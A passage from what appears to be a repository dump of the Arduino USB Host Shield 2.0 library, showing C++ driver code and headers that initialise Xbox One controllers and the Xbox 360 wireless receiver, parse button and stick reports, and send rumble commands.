USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                return rcode;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n        //delay(300); // Spec says you should wait at least 200ms\n\n        p->lowspeed = false;\n\n        //get pointer to assigned address record\n        p = addrPool.GetUsbDevicePtr(bAddress);\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        // Assign epInfo to epinfo pointer - only EP0 is known\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        num_of_conf = udd->bNumConfigurations; // Number of configurations\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        // Check if attached device is a Xbox One controller and fill endpoint data structure\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                ConfigDescParser<0, 0, 0, 0> confDescrParser(this); // Allow all devices, as we have already verified that it is a Xbox One controller from the VID and PID\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n                if(rcode) // Check error code\n                        goto FailGetConfDescr;\n                if(bNumEP >= XBOX_ONE_MAX_ENDPOINTS) // All endpoints extracted\n                        break;\n        }\n\n        if(bNumEP < XBOX_ONE_MAX_ENDPOINTS)\n                goto FailUnknownDevice;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        delay(200); // Give time for address change\n\n        rcode = pUsb->setConf(bAddress, epInfo[ XBOX_ONE_CONTROL_PIPE ].epAddr, bConfNum);\n        if(rcode)\n                goto FailSetConfDescr;\n\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox One Controller Connected\\r\\n\"), 0x80);\n#endif\n\n        delay(200); // let things settle\n\n        // Initialize the controller for input\n        cmdCounter = 0; // Reset the counter used when sending out the commands\n        uint8_t writeBuf[5];\n        writeBuf[0] = 0x05;\n        writeBuf[1] = 0x20;\n        // Byte 2 is set in \"XboxCommand\"\n        writeBuf[3] = 0x01;\n        writeBuf[4] = 0x00;\n        rcode = XboxCommand(writeBuf, 5);\n        if (rcode)\n                goto Fail;\n\n        onInit();\n        XboxOneConnected = true;\n        bPollEnable = true;\n        return 0; // Successful configuration\n\n        /* Diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n#endif\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox One Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\n/* Extracts endpoint information from config descriptor */\nvoid XBOXONE::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) {\n        bConfNum = conf;\n        uint8_t index;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT) { // Interrupt endpoint\n                index = (pep->bEndpointAddress & 0x80) == 0x80 ? XBOX_ONE_INPUT_PIPE : XBOX_ONE_OUTPUT_PIPE; // Set the endpoint index\n        } else\n                return;\n\n        // Fill the rest of endpoint data structure\n        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n#ifdef EXTRADEBUG\n        PrintEndpointDescriptor(pep);\n#endif\n        if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints\n                pollInterval = pep->bInterval;\n        bNumEP++;\n}\n\nvoid XBOXONE::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) {\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nEndpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n#endif\n}\n\n/* Performs a cleanup after failed Init() attempt */\nuint8_t XBOXONE::Release() {\n        XboxOneConnected = false;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n        bAddress = 0; // Clear device address\n        bNumEP = 1; // Must have to be reset to 1\n        qNextPollTime = 0; // Reset next poll time\n        pollInterval = 0;\n        bPollEnable = false;\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox One Controller Disconnected\\r\\n\"), 0x80);\n#endif\n        return 0;\n}\n\nuint8_t XBOXONE::Poll() {\n        uint8_t rcode = 0;\n\n        if(!bPollEnable)\n                return 0;\n\n        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Do not poll if shorter than polling interval\n                qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time\n                uint16_t length =  (uint16_t)epInfo[ XBOX_ONE_INPUT_PIPE ].maxPktSize; // Read the maximum packet size from the endpoint\n                uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ XBOX_ONE_INPUT_PIPE ].epAddr, &length, readBuf, pollInterval);\n                if(!rcode) {\n                        readReport();\n#ifdef PRINTREPORT // Uncomment \"#define PRINTREPORT\" to print the report send by the Xbox ONE Controller\n                        for(uint8_t i = 0; i < length; i++) {\n                                D_PrintHex<uint8_t > (readBuf[i], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                }\n#ifdef DEBUG_USB_HOST\n                else if(rcode != hrNAK) { // Not a matter of no update to send\n                        Notify(PSTR(\"\\r\\nXbox One Poll Failed, error code: \"), 0x80);\n                        NotifyFail(rcode);\n                }\n#endif\n    }\n    return rcode;\n}\n\nvoid XBOXONE::readReport() {\n        if(readBuf[0] == 0x07) {\n                // The XBOX button has a separate message\n                if(readBuf[4] == 1)\n                        ButtonState |= pgm_read_word(&XBOX_BUTTONS[XBOX]);\n                else\n                        ButtonState &= ~pgm_read_word(&XBOX_BUTTONS[XBOX]);\n\n                if(ButtonState != OldButtonState) {\n                    ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                    OldButtonState = ButtonState;\n                }\n        }\n        if(readBuf[0] != 0x20) { // Check if it's the correct report, otherwise return - the controller also sends different status reports\n#ifdef EXTRADEBUG\n                Notify(PSTR(\"\\r\\nXbox Poll: \"), 0x80);\n                D_PrintHex<uint8_t > (readBuf[0], 0x80); // 0x03 is a heart beat report!\n#endif\n                return;\n        }\n\n        uint16_t xbox = ButtonState & pgm_read_word(&XBOX_BUTTONS[XBOX]); // Since the XBOX button is separate, save it and add it back in\n        // xbox button from before, dpad, abxy, start/back, sync, stick click, shoulder buttons\n        ButtonState = xbox | (((uint16_t)readBuf[5] & 0xF) << 8) | (readBuf[4] & 0xF0)  | (((uint16_t)readBuf[4] & 0x0C) << 10) | ((readBuf[4] & 0x01) << 3) | (((uint16_t)readBuf[5] & 0xC0) << 8) | ((readBuf[5] & 0x30) >> 4);\n\n        triggerValue[0] = (uint16_t)(((uint16_t)readBuf[7] << 8) | readBuf[6]);\n        triggerValue[1] = (uint16_t)(((uint16_t)readBuf[9] << 8) | readBuf[8]);\n\n        hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]);\n        hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]);\n        hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[15] << 8) | readBuf[14]);\n        hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[17] << 8) | readBuf[16]);\n\n        //Notify(PSTR(\"\\r\\nButtonState\"), 0x80);\n        //PrintHex<uint16_t>(ButtonState, 0x80);\n\n        if(ButtonState != OldButtonState) {\n                ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable\n                OldButtonState = ButtonState;\n        }\n\n        // Handle click detection for triggers\n        if(triggerValue[0] != 0 && triggerValueOld[0] == 0)\n                L2Clicked = true;\n        triggerValueOld[0] = triggerValue[0];\n        if(triggerValue[1] != 0 && triggerValueOld[1] == 0)\n                R2Clicked = true;\n        triggerValueOld[1] = triggerValue[1];\n}\n\nuint16_t XBOXONE::getButtonPress(ButtonEnum b) {\n        if(b == L2) // These are analog buttons\n                return triggerValue[0];\n        else if(b == R2)\n                return triggerValue[1];\n        return (bool)(ButtonState & ((uint16_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b])));\n}\n\nbool XBOXONE::getButtonClick(ButtonEnum b) {\n        if(b == L2) {\n                if(L2Clicked) {\n                        L2Clicked = false;\n                        return true;\n                }\n                return false;\n        } else if(b == R2) {\n                if(R2Clicked) {\n                        R2Clicked = false;\n                        return true;\n                }\n                return false;\n        }\n        uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // Clear \"click\" event\n        return click;\n}\n\nint16_t XBOXONE::getAnalogHat(AnalogHatEnum a) {\n        return hatValue[a];\n}\n\n/* Xbox Controller commands */\nuint8_t XBOXONE::XboxCommand(uint8_t* data, uint16_t nbytes) {\n        data[2] = cmdCounter++; // Increment the output command counter\n        uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ XBOX_ONE_OUTPUT_PIPE ].epAddr, nbytes, data);\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXboxCommand, Return: \"), 0x80);\n        D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n        return rcode;\n}\n\n// The Xbox One packets are described at: https://github.com/quantus/xbox-one-controller-protocol\nvoid XBOXONE::onInit() {\n        // A short buzz to show the controller is active\n        uint8_t writeBuf[13];\n\n        // Activate rumble\n        writeBuf[0] = 0x09;\n        writeBuf[1] = 0x00;\n        // Byte 2 is set in \"XboxCommand\"\n\n        // Single rumble effect\n        writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has)\n        writeBuf[4] = 0x00; // Mode\n        writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R)\n        writeBuf[6] = 0x04; // lT force\n        writeBuf[7] = 0x04; // rT force\n        writeBuf[8] = 0x20; // L force\n        writeBuf[9] = 0x20; // R force\n        writeBuf[10] = 0x80; // Length of pulse\n        writeBuf[11] = 0x00; // Off period\n        writeBuf[12] = 0x00; // Repeat count\n        XboxCommand(writeBuf, 13);\n\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n}\n\nvoid XBOXONE::setRumbleOff() {\n        uint8_t writeBuf[13];\n\n        // Activate rumble\n        writeBuf[0] = 0x09;\n        writeBuf[1] = 0x00;\n        // Byte 2 is set in \"XboxCommand\"\n\n        // Continuous rumble effect\n        writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has)\n        writeBuf[4] = 0x00; // Mode\n        writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R)\n        writeBuf[6] = 0x00; // lT force\n        writeBuf[7] = 0x00; // rT force\n        writeBuf[8] = 0x00; // L force\n        writeBuf[9] = 0x00; // R force\n        writeBuf[10] = 0x00; // On period\n        writeBuf[11] = 0x00; // Off period\n        writeBuf[12] = 0x00; // Repeat count\n        XboxCommand(writeBuf, 13);\n}\n\nvoid XBOXONE::setRumbleOn(uint8_t leftTrigger, uint8_t rightTrigger, uint8_t leftMotor, uint8_t rightMotor) {\n        uint8_t writeBuf[13];\n\n        // Activate rumble\n        writeBuf[0] = 0x09;\n        writeBuf[1] = 0x00;\n        // Byte 2 is set in \"XboxCommand\"\n\n        // Continuous rumble effect\n        writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has)\n        writeBuf[4] = 0x00; // Mode\n        writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R)\n        writeBuf[6] = leftTrigger; // lT force\n        writeBuf[7] = rightTrigger; // rT force\n        writeBuf[8] = leftMotor; // L force\n        writeBuf[9] = rightMotor; // R force\n        writeBuf[10] = 0xFF; // On period\n        writeBuf[11] = 0x00; // Off period\n        writeBuf[12] = 0xFF; // Repeat count\n        XboxCommand(writeBuf, 13);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXONE.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n   Copyright (C) 2015 guruthree\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n guruthree\n Web      :  https://github.com/guruthree/\n */\n\n\n#ifndef _xboxone_h_\n#define _xboxone_h_\n\n#include \"Usb.h\"\n#include \"xboxEnums.h\"\n\n/* Xbox One data taken from descriptors */\n#define XBOX_ONE_EP_MAXPKTSIZE                  64 // Max size for data via USB\n\n/* Names we give to the 3 XboxONE pipes */\n#define XBOX_ONE_CONTROL_PIPE                   0\n#define XBOX_ONE_OUTPUT_PIPE                    1\n#define XBOX_ONE_INPUT_PIPE                     2\n\n#define XBOX_ONE_MAX_ENDPOINTS                  3\n\n// PID and VID of the different versions of the controller - see: https://github.com/torvalds/linux/blob/master/drivers/input/joystick/xpad.c\n\n// Official controllers\n#define XBOX_VID1                               0x045E // Microsoft Corporation\n#define XBOX_ONE_PID1                           0x02D1 // Microsoft X-Box One pad\n#define XBOX_ONE_PID2                           0x02DD // Microsoft X-Box One pad (Firmware 2015)\n#define XBOX_ONE_PID3                           0x02E3 // Microsoft X-Box One Elite pad\n#define XBOX_ONE_PID4                           0x02EA // Microsoft X-Box One S pad\n\n// Unofficial controllers\n#define XBOX_VID2                               0x0738 // Mad Catz\n#define XBOX_VID3                               0x0E6F // Afterglow\n#define XBOX_VID4                               0x0F0D // HORIPAD ONE\n#define XBOX_VID5                               0x1532 // Razer\n#define XBOX_VID6                               0x24C6 // PowerA\n\n#define XBOX_ONE_PID5                           0x4A01 // Mad Catz FightStick TE 2 - might have different mapping for triggers?\n#define XBOX_ONE_PID6                           0x0139 // Afterglow Prismatic Wired Controller\n#define XBOX_ONE_PID7                           0x0146 // Rock Candy Wired Controller for Xbox One\n#define XBOX_ONE_PID8                           0x0067 // HORIPAD ONE\n#define XBOX_ONE_PID9                           0x0A03 // Razer Wildcat\n#define XBOX_ONE_PID10                          0x541A // PowerA Xbox One Mini Wired Controller\n#define XBOX_ONE_PID11                          0x542A // Xbox ONE spectra\n#define XBOX_ONE_PID12                          0x543A // PowerA Xbox One wired controller\n\n/** This class implements support for a Xbox ONE controller connected via USB. */\nclass XBOXONE : public USBDeviceConfig, public UsbConfigXtracter {\npublic:\n        /**\n         * Constructor for the XBOXONE class.\n         * @param  pUsb   Pointer to USB class instance.\n         */\n        XBOXONE(USB *pUsb);\n\n        /** @name USBDeviceConfig implementation */\n        /**\n         * Initialize the Xbox Controller.\n         * @param  parent   Hub number.\n         * @param  port     Port number on the hub.\n         * @param  lowspeed Speed of the device.\n         * @return          0 on success.\n         */\n        virtual uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        /**\n         * Release the USB device.\n         * @return 0 on success.\n         */\n        virtual uint8_t Release();\n        /**\n         * Poll the USB Input endpoins and run the state machines.\n         * @return 0 on success.\n         */\n        virtual uint8_t Poll();\n\n        /**\n         * Get the device address.\n         * @return The device address.\n         */\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        /**\n         * Used to check if the controller has been initialized.\n         * @return True if it's ready.\n         */\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        /**\n         * Read the poll interval taken from the endpoint descriptors.\n         * @return The poll interval in ms.\n         */\n        uint8_t readPollInterval() {\n                return pollInterval;\n        };\n\n        /**\n         * Used by the USB core to check what this driver support.\n         * @param  vid The device's VID.\n         * @param  pid The device's PID.\n         * @return     Returns true if the device's VID and PID matches this driver.\n         */\n        virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) {\n                return ((vid == XBOX_VID1 || vid == XBOX_VID2 || vid == XBOX_VID3 || vid == XBOX_VID4 || vid == XBOX_VID5 || vid == XBOX_VID6) &&\n                    (pid == XBOX_ONE_PID1 || pid == XBOX_ONE_PID2 || pid == XBOX_ONE_PID3 || pid == XBOX_ONE_PID4 ||\n                        pid == XBOX_ONE_PID5 || pid == XBOX_ONE_PID6 || pid == XBOX_ONE_PID7 || pid == XBOX_ONE_PID8 ||\n                        pid == XBOX_ONE_PID9 || pid == XBOX_ONE_PID10 || pid == XBOX_ONE_PID11 || pid == XBOX_ONE_PID12));\n        };\n        /**@}*/\n\n        /** @name Xbox Controller functions */\n        /**\n         * getButtonPress(ButtonEnum b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(ButtonEnum b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b),\n         * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonClick(ButtonEnum b) will return a bool, while getButtonPress(ButtonEnum b) will return a word if reading ::L2 or ::R2.\n         */\n        uint16_t getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n\n        /**\n         * Return the analog value from the joysticks on the controller.\n         * @param  a          Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY.\n         * @return            Returns a signed 16-bit integer.\n         */\n        int16_t getAnalogHat(AnalogHatEnum a);\n\n        /**\n         * Used to call your own function when the controller is successfully initialized.\n         * @param funcOnInit Function to call.\n         */\n        void attachOnInit(void (*funcOnInit)(void)) {\n                pFuncOnInit = funcOnInit;\n        };\n\n        /** Used to set the rumble off. */\n        void setRumbleOff();\n\n        /**\n         * Used to turn on rumble continuously.\n         * @param leftTrigger  Left trigger force.\n         * @param rightTrigger Right trigger force.\n         * @param leftMotor    Left motor force.\n         * @param rightMotor   Right motor force.\n         */\n        void setRumbleOn(uint8_t leftTrigger, uint8_t rightTrigger, uint8_t leftMotor, uint8_t rightMotor);\n        /**@}*/\n\n        /** True if a Xbox ONE controller is connected. */\n        bool XboxOneConnected;\n\nprotected:\n        /** Pointer to USB class instance. */\n        USB *pUsb;\n        /** Device address. */\n        uint8_t bAddress;\n        /** Endpoint info structure. */\n        EpInfo epInfo[XBOX_ONE_MAX_ENDPOINTS];\n\n        /** Configuration number. */\n        uint8_t bConfNum;\n        /** Total number of endpoints in the configuration. */\n        uint8_t bNumEP;\n        /** Next poll time based on poll interval taken from the USB descriptor. */\n        uint32_t qNextPollTime;\n\n        /** @name UsbConfigXtracter implementation */\n        /**\n         * UsbConfigXtracter implementation, used to extract endpoint information.\n         * @param conf  Configuration value.\n         * @param iface Interface number.\n         * @param alt   Alternate setting.\n         * @param proto Interface Protocol.\n         * @param ep    Endpoint Descriptor.\n         */\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n        /**@}*/\n\n        /**\n         * Used to print the USB Endpoint Descriptor.\n         * @param ep_ptr Pointer to USB Endpoint Descriptor.\n         */\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\nprivate:\n        /**\n         * Called when the controller is successfully initialized.\n         * Use attachOnInit(void (*funcOnInit)(void)) to call your own function.\n         */\n        void onInit();\n        void (*pFuncOnInit)(void); // Pointer to function called in onInit()\n\n        uint8_t pollInterval;\n        bool bPollEnable;\n\n        /* Variables to store the buttons */\n        uint16_t ButtonState;\n        uint16_t OldButtonState;\n        uint16_t ButtonClickState;\n        int16_t hatValue[4];\n        uint16_t triggerValue[2];\n        uint16_t triggerValueOld[2];\n\n        bool L2Clicked; // These buttons are analog, so we use we use these bools to check if they where clicked or not\n        bool R2Clicked;\n\n        uint8_t readBuf[XBOX_ONE_EP_MAXPKTSIZE]; // General purpose buffer for input data\n        uint8_t cmdCounter;\n\n        void readReport(); // Used to read the incoming data\n\n        /* Private commands */\n        uint8_t XboxCommand(uint8_t* data, uint16_t nbytes);\n};\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/XBOXRECV.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n getBatteryLevel and checkStatus functions made by timstamp.co.uk found using BusHound from Perisoft.net\n */\n\n#include \"XBOXRECV.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the Xbox 360 Controller\n\nXBOXRECV::XBOXRECV(USB *p) :\npUsb(p), // pointer to USB class instance - mandatory\nbAddress(0), // device address - mandatory\nbPollEnable(false) { // don't start polling before dongle is connected\n        for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n\n        if(pUsb) // register in USB subsystem\n                pUsb->RegisterDeviceClass(this); //set devConfig[] entry\n}\n\nuint8_t XBOXRECV::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint16_t PID, VID;\n\n        AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nXBOXRECV Init\"), 0x80);\n#endif\n\n        if(bAddress) { // Check if address has already been assigned to an instance\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress in use\"), 0x80);\n#endif\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n        }\n\n        p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        if(!p->epinfo) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nepinfo is null\"), 0x80);\n#endif\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0\n        p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->lowspeed = lowspeed;\n\n        rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data\n\n        p->epinfo = oldep_ptr; // Restore p->epinfo\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor;\n        PID = udd->idProduct;\n\n        if((VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID) || (PID != XBOX_WIRELESS_RECEIVER_PID && PID != XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID)) { // Check if it's a Xbox receiver using the Vendor ID and Product ID\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nYou'll need a wireless receiver for this libary to work\"), 0x80);\n#endif\n                goto FailUnknownDevice;\n        }\n\n        bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class\n\n        if(!bAddress) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nOut of address space\"), 0x80);\n#endif\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n        }\n\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor\n\n        delay(20); // Wait a little before resetting device\n\n        return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;\n\n        /* Diagnostic messages */\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr(rcode);\n#endif\n        if(rcode != hrJERR)\n                rcode = USB_ERROR_FailGetDevDescr;\n        goto Fail;\n\nFailUnknownDevice:\n#ifdef DEBUG_USB_HOST\n        NotifyFailUnknownDevice(VID, PID);\n#endif\n        rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\nFail:\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nXbox 360 Init Failed, error code: \"), 0x80);\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n};\n\nuint8_t XBOXRECV::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) {\n        uint8_t rcode;\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nBTD Init\"), 0x80);\n#endif\n        UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record\n\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        delay(300); // Assign new address to the device\n\n        rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device\n        if(rcode) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nsetAddr: \"), 0x80);\n                D_PrintHex<uint8_t > (rcode, 0x80);\n#endif\n                p->lowspeed = false;\n                goto Fail;\n        }\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nAddr: \"), 0x80);\n        D_PrintHex<uint8_t > (bAddress, 0x80);\n#endif\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record\n        if(!p) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nAddress not found\"), 0x80);\n#endif\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        p->lowspeed = lowspeed;\n\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        /* The application will work in reduced host mode, so we can save program and data\n           memory space. After verifying the VID we will use known values for the\n           configuration values for device, interface, endpoints and HID for the XBOX360 Wireless receiver */\n\n        /* Initialize data structures for endpoints of device */\n        epInfo[ XBOX_INPUT_PIPE_1 ].epAddr = 0x01; // XBOX 360 report endpoint - poll interval 1ms\n        epInfo[ XBOX_INPUT_PIPE_1 ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT;\n        epInfo[ XBOX_INPUT_PIPE_1 ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints\n        epInfo[ XBOX_INPUT_PIPE_1 ].maxPktSize = EP_MAXPKTSIZE;\n        epInfo[ XBOX_INPUT_PIPE_1 ].bmSndToggle = 0;\n        epInfo[ XBOX_INPUT_PIPE_1 ].bmRcvToggle = 0;\n        epInfo[ XBOX_OUTPUT_PIPE_1 ].epAddr = 0x01; // XBOX 